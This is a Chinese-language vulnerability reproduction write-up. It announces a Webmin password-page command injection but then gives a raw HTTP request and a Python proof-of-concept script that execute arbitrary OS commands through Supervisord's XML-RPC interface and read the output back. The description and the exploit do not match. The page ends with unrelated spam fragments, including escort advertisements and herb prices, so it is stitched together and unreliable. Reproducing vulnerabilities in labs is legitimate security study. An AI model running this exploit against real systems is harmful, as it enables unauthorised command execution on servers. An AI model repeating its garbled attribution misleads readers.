Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
启动环境后访问,忽略证书后即可看到登录页面。
需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:
首先进入容器,修改root密码:
修改后登录webmin后修改配置:
在中查看则说明修改成功。
接下来开始复现,发送如下数据包,即可执行id命令:
POST /password_change.cgi HTTP/1.1 Host: [ip]:10000 Accept-Encoding: gzip, deflate Accept: ** Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
查看命令执行情况:
可以看到命令成功执行。
这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog *** 读取log文件,将结果读出来。
poc脚本:
#!/usr/bin/env python3 import xmlrpc.client import sys target=sys.argv[1] command=sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old=getattr(proxy, 'supervisor.readLog')(0,0) logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result=getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])
执行poc脚本,输入命令::
可以看到成功执行命令,并且看到了回显。
“模特接商务是什么意思-【严招弟】”真诚寻找不超过2年有结婚目标的男士,其他勿扰,来信请贴邮票喔商务学社伴游时间:7月一整月, 可在线预约模特的时间:1到两个月的空闲时间, 车模可在线预约时间:2个月...
由于特殊字符沒有删掉掉。开启wps文档,挑选逐渐菜单栏,点击查找更换,挑选更换,点一下独特文件格式,挑选分节符,在更换为一栏键入空格符,点一下所有更换就可以。 知名品牌型号规格:想到GeekPro...
成都上预约价钱【章雅瑄】 今日给大伙儿共享的內容是“成都上预约价钱【章雅瑄】”,我是章雅瑄,来源于江津市,2020年28岁,做为岗位:北京模特伴游,我喜爱我的岗位:北京模特伴游。三圍:胸64腰87臀6...
有人说月嫂的工资比白领还高,随随便便做一个月就能挣一万多。家嘉母婴小编为您揭露真相,这一万多元的工资还真不是您在哪里都能挣到的。 今天就有一个在辽宁做了6年月嫂的姐妹咨询家嘉,想来北京找一份6500...
宠物犬领养(宠物狗领养需要注意什么?)现在,越来越多的养狗人士,逐渐接受了领养代替购买的理念,这是非常有意义的一种养狗狗的方式,不单达成了养狗狗的心愿,同时给那些流浪的小家伙们提供了一个温暖的新家的机...
重楼干货1005一公斤。重楼今朝因为14年野生重楼已经开挖。所以价值比前年低有所下降。纯种滇重楼统货价值380用度阁下。粉质华重楼统货180阁下 ,其他品种的重楼品质。 东郊路菊花圃中药材专业...